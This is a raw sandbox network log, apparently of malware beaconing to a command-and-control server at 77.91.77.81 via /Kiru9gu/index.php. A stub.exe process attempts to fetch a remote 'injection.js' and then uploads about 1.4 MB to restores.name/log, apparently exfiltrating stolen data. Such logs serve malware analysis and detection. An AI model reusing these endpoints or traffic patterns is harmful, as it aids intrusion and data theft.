Jun 4, 2024 23:10:22.843800068 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Jun 4, 2024 23:10:23.989054918 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jun 4, 2024 23:10:23.990812063 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.11	49803	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:24.112605095 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 4, 2024 23:10:25.021364927 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.11	49813	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:25.062859058 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Jun 4, 2024 23:10:25.971127033 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.11	49826	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:26.094242096 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.11	49827	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:26.112082005 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Jun 4, 2024 23:10:27.025976896 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.11	49836	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:27.143961906 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 4, 2024 23:10:28.056736946 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.11	49846	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:28.068490028 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Jun 4, 2024 23:10:28.980389118 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.11	49860	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:29.213016987 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 4, 2024 23:10:30.116731882 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.11	49875	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:30.128273964 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Jun 4, 2024 23:10:31.041104078 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.11	49889	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:31.158716917 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 4, 2024 23:10:32.065727949 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.11	49896	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:32.077572107 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.11	49900	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:32.203970909 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 4, 2024 23:10:33.116727114 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.11	55873	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:33.129854918 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Jun 4, 2024 23:10:34.043584108 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.11	55886	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:34.165934086 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 4, 2024 23:10:35.075062037 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.11	55899	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:35.150784016 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Jun 4, 2024 23:10:36.057082891 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.11	55913	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:36.174607992 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 4, 2024 23:10:37.081494093 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.11	55921	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:37.093435049 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Jun 4, 2024 23:10:38.005337954 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.11	55935	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:38.130090952 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 4, 2024 23:10:39.040033102 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.11	55949	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:39.388555050 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Jun 4, 2024 23:10:40.300246000 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.11	55963	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:40.422895908 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 4, 2024 23:10:41.330249071 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49744	185.199.108.133	443	8068	C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-04 21:09:40 UTC	177	OUT	GET /justforMonster/injection/main/injection.js HTTP/1.1 Host: raw.githubusercontent.com Accept: / Accept-Encoding: gzip, deflate User-Agent: Python/3.10 aiohttp/3.8.6
2024-06-04 21:09:40 UTC	803	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 14 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block Content-Type: text/plain; charset=utf-8 X-GitHub-Request-Id: BB72:103AE8:4E5DDA:56AE5D:665F8293 Accept-Ranges: bytes Date: Tue, 04 Jun 2024 21:09:40 GMT Via: 1.1 varnish X-Served-By: cache-dfw-kdfw8210137-DFW X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1717535381.582334,VS0,VE38 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 0d1b97ae47ba2816e07a2e49973a05fcabb32598 Expires: Tue, 04 Jun 2024 21:14:40 GMT Source-Age: 0
2024-06-04 21:09:40 UTC	14	IN	Data Raw: 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: 404: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.11	49778	52.143.157.238	443	8068	C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-04 21:10:11 UTC	230	OUT	POST /log HTTP/1.1 Host: restores.name Accept: / Accept-Encoding: gzip, deflate User-Agent: Python/3.10 aiohttp/3.8.6 Content-Length: 1397318 Content-Type: multipart/form-data; boundary=56722a2337c54e8d9ab08a13ebfd70f7
2024-06-04 21:10:11 UTC	36	OUT	Data Raw: 2d 2d 35 36 37 32 32 61 32 33 33 37 63 35 34 65 38 64 39 61 62 30 38 61 31 33 65 62 66 64 37 30 66 37 0d 0a Data Ascii: --56722a2337c54e8d9ab08a13ebfd70f7
2024-06-04 21:10:11 UTC	106	OUT	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 69 64 22 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 30 0d 0a 0d 0a Data Ascii: Content-Type: text/plain; charset=utf-8Content-Disposition: form-data; name="id"Content-Length: 10
2024-06-04 21:10:11 UTC	10	OUT	Data Raw: 35 35 39 32 30 35 32 38 35 38 Data Ascii: 5592052858
2024-06-04 21:10:11 UTC	2	OUT	Data Raw: 0d 0a Data Ascii:
2024-06-04 21:10:11 UTC	36	OUT	Data Raw: 2d 2d 35 36 37 32 32 61 32 33 33 37 63 35 34 65 38 64 39 61 62 30 38 61 31 33 65 62 66 64 37 30 66 37 0d 0a Data Ascii: --56722a2337c54e8d9ab08a13ebfd70f7
2024-06-04 21:10:11 UTC	110	OUT	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 61 72 6b 65 72 22 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 35 0d 0a 0d 0a Data Ascii: Content-Type: text/plain; charset=utf-8Content-Disposition: form-data; name="marker"Content-Length: 15
2024-06-04 21:10:11 UTC	15	OUT	Data Raw: 4e 30 32 5a 52 32 55 50 57 46 57 53 33 47 39 Data Ascii: N02ZR2UPWFWS3G9
2024-06-04 21:10:11 UTC	2	OUT	Data Raw: 0d 0a Data Ascii:
2024-06-04 21:10:11 UTC	36	OUT	Data Raw: 2d 2d 35 36 37 32 32 61 32 33 33 37 63 35 34 65 38 64 39 61 62 30 38 61 31 33 65 62 66 64 37 30 66 37 0d 0a Data Ascii: --56722a2337c54e8d9ab08a13ebfd70f7
